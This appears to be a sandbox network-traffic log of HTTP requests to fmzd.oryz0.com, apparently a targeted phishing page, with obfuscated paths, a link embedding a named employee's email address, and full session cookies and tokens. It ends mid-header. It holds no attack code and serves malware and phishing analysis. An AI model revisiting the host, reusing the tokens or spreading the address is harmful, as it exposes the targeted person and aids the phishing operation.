Source: global traffic	HTTP traffic detected: GET /cbq0IetkuWlrtwBlXfolvJEvwJ4narxbsRdyPVXx7o HTTP/1.1Host: fmzd.oryz0.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjFGdWttVUZIb1ppekVudkdIdmNPdFE9PSIsInZhbHVlIjoiK2xiQlRhVG9wcjAwZW5ObzQwdWNGQ1lqV2FVSFF0VktEQWpZQnJacmYrS2s4aHVNdjhaSDU1SkVST1lBTExRalBqU1E2eVNtdFpHNkVxaTY2akRPaFNOMk00Qy84SjZDaVhhQnZ0RVNqcFI2ekd1TWJVU0ptcHN0anE5aDEwZEMiLCJtYWMiOiIyMzFmMjg3YzI1NjY5N2NhNGQ1ZWNiNWQ2OGRmODk1NDNkOTA2Yjk4NGI1NWNlNjNjMzRiOTA4ZWJlNzkwMjNlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InVWeXQrZ0tDZy9EY0Y2T0ZicUZSa3c9PSIsInZhbHVlIjoiYTV4NkdEQTFmNWtZTk1qK1ordnJTSjIrdDk5U1p2R1VmUGIva1dhUnZYeGFLenlOK0t2NC9FYmRUZnhxVmFVNVFwYUkrVHpzSXJhVFMxYzcwVUc1ek5XVXgwRnFFMkhMYzdZZEtMQlJicFhsSXFsZDQzdS9CWlNRNTVDSU1JOXYiLCJtYWMiOiIyMGE1MTI4ZjNkNjQ0MDdkMDZkMzAzNDQ3ZjBlY2NmNGQwYmZiYWU3YzgwMDZiNzAzNTk4M2M4NGQ5YTQ3ZWE0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /J4j5iUo/?VBana.tannhauser@servier.com HTTP/1.1Host: fmzd.oryz0.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://fmzd.oryz0.com/J4j5iUo/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlowL3lNdVIvZysxUEJPeEhVY3FFSGc9PSIsInZhbHVlIjoiQUNFQkJrTWJEVllLSkpUR29pSFpMeklnamRJK3IvSStWa2wraTVBaWRycXE4ekhlenliZmU5dU8vcDUwWGpLNTIvY0JFZEViZnl2ZUdtS0hlU1NteHdqaXhTZFZObVpsWVVYZzIwNUJlalJWaUczQnZsVlRhbHZUaTVrTkZjYnIiLCJtYWMiOiI2ZGViNTc2NTA5NzNlNTk5Njg2M2MxYWE5N2NiZDYwNjY5NGNhNzNjMTFmNWE0NDJhMWVmOWQ1ZGE4ZmMyYTE3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNMNHZnWHg5ekFEMmZCRldCamN5eGc9PSIsInZhbHVlIjoiampwdk9kODNNNFMzYmpWaUR5eHQwcWdJOVlMNys2QVViOHhmZTlmZ1pJb0VZdFIwM1ZQTTNDMmVkeGFNdFBJVGN2Z0swbVo4YWI0bjJRdmo3ajdtUDg0RUZvWUpxcjJtZ1NsdUdsSkJ1cFN0MU14b1FCTTNvTDJUY1d3d3hHL2siLCJtYWMiOiJiYzA1YzhmMmNhN2IwMjgwMTIxN2RiMGFmZGQwNDc2OGY5NTEyZDBjMzY4NDY4MDFkMjQ2NGU0NWFjYzRkN2I3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV HTTP/1.1Host: fmzd.oryz0.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://fmzd.oryz0.com/J4j5iUo/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InVMMlE2UnFmTVpEQksxRVoraE9TRVE9PSIsInZhbHVlIjoiVThsbHgrTHNqYmpGVTFQUjQyeXNlMFJGeU1JRE5GV2w4cDdDNDJUTW1BejZyeGRKQjZSNlN5YVI4STVDM0JLMDFqWHFSVHBwQTBKWkNQbGpFYWFBUnBxQmZKYmUvK2x3b0hHWlZka2RyMWZVV1M1WUZsaU9hQm5LQVEvT2xQK3UiLCJtYWMiOiI4NzY0Mzc3OWQ5OWMwYmFhODllZDhkNmFlNmY2N2VlZjAzNjcwMDRjZDFjY2ZkMjk2MzhkMWIxNTI3ZmZmOWJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjJ1MWErS1hTUEtnUUhiaEhTMUpaL1E9PSIsInZhbHVlIjoiWlY5MERkYlA4bEdlSXV3RmhjYXFQWVY1OENMc3hRM2IxdE45NVB1TllIcjFOMEFaZWE2S1Jac2czUDVUQ3JrVlhLSXk3NWZIZkdxdzlvd2wvSjBJS29EWFROWWcvTm1rdjF5NTlTMlZBZnYyVE5NTHpJZWlPVHF2MlBkMks4RGQiLCJtYWMiOiJkNjFmM2Q3NDAzZjE4ZTRlMThhMGI0MmU3ZDViY2QyNDBlNDM3ZGFlYmM4YWY2NmU1YTQwMDY2MzE3Y2UyNzQyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /12804PhK6xy6Llhw6720 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /xy9dtplWirs6mgh22 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rs446YaMsFkkugl9Pul1200uv39 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://fmzd.oryz0.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yzT75NuNHtjHz278hkeAUSuqr50 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://fmzd.oryz0.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /90vEsJ85xMt99R67cpJjuv59 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://fmzd.oryz0.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /23qqWZLmsD3HLvv6Ec6898LDDvxy66 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://fmzd.oryz0.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://fmzd.oryz0.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4.6.0/socket.io.min.js HTTP/1.1Host: cdn.socket.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://fmzd.oryz0.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /89jdsKZZPGQNuWNL3spE66GQefg2RTpL1ab74 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://fmzd.oryz0.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /efncIwTEL0emqS7847WOvPGnqQHZkl99 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://fmzd.oryz0.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klgF5dnNHAlDrc6qSyelLuefIYXo4YwvCKst4HwTl55Gv89VSB1BFMlexg5FVpicEMLp0yz230 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kldBaTGaMI14H8C3GglM670jDjijX4stNOD81yGNtSywFAVJ0xeo20J7xU1GbFuv220 HTTP/1.1Host: fmzd.oryz0.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHVAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 